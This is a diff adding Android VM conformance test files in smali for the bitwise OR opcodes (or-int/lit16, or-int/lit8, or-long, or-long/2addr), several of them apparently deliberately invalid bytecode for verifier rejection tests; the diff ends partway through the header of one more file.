+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali
new file mode 100644
index 0000000..6ec2cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit16 v0, v7, 15
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali
new file mode 100644
index 0000000..989e68e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 32767
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali
new file mode 100644
index 0000000..fb89360
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v8, 8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali
new file mode 100644
index 0000000..01fc069
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali
new file mode 100644
index 0000000..8b3116c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali
new file mode 100644
index 0000000..23eb356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali
new file mode 100644
index 0000000..c8c19db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali
new file mode 100644
index 0000000..66b9469
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 0x7f
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali
new file mode 100644
index 0000000..971b6b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali
new file mode 100644
index 0000000..e3b3ad6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit8 v0, v7, 15
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali
new file mode 100644
index 0000000..649f9d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 127
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali
new file mode 100644
index 0000000..7d29856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v8, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali
new file mode 100644
index 0000000..83af7dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali
new file mode 100644
index 0000000..d3c52ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali
new file mode 100644
index 0000000..8eacb64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali
new file mode 100644
index 0000000..c3b7055
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_1.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali
new file mode 100644
index 0000000..1ce7398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v14
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali
new file mode 100644
index 0000000..cdbb766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_3.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali
new file mode 100644
index 0000000..9b72cfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_4.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali
new file mode 100644
index 0000000..314f304
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_5.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali
new file mode 100644
index 0000000..273ec7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_6.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v9, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali
new file mode 100644
index 0000000..be93df3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali
new file mode 100644
index 0000000..ae81403
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v10, v14
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali
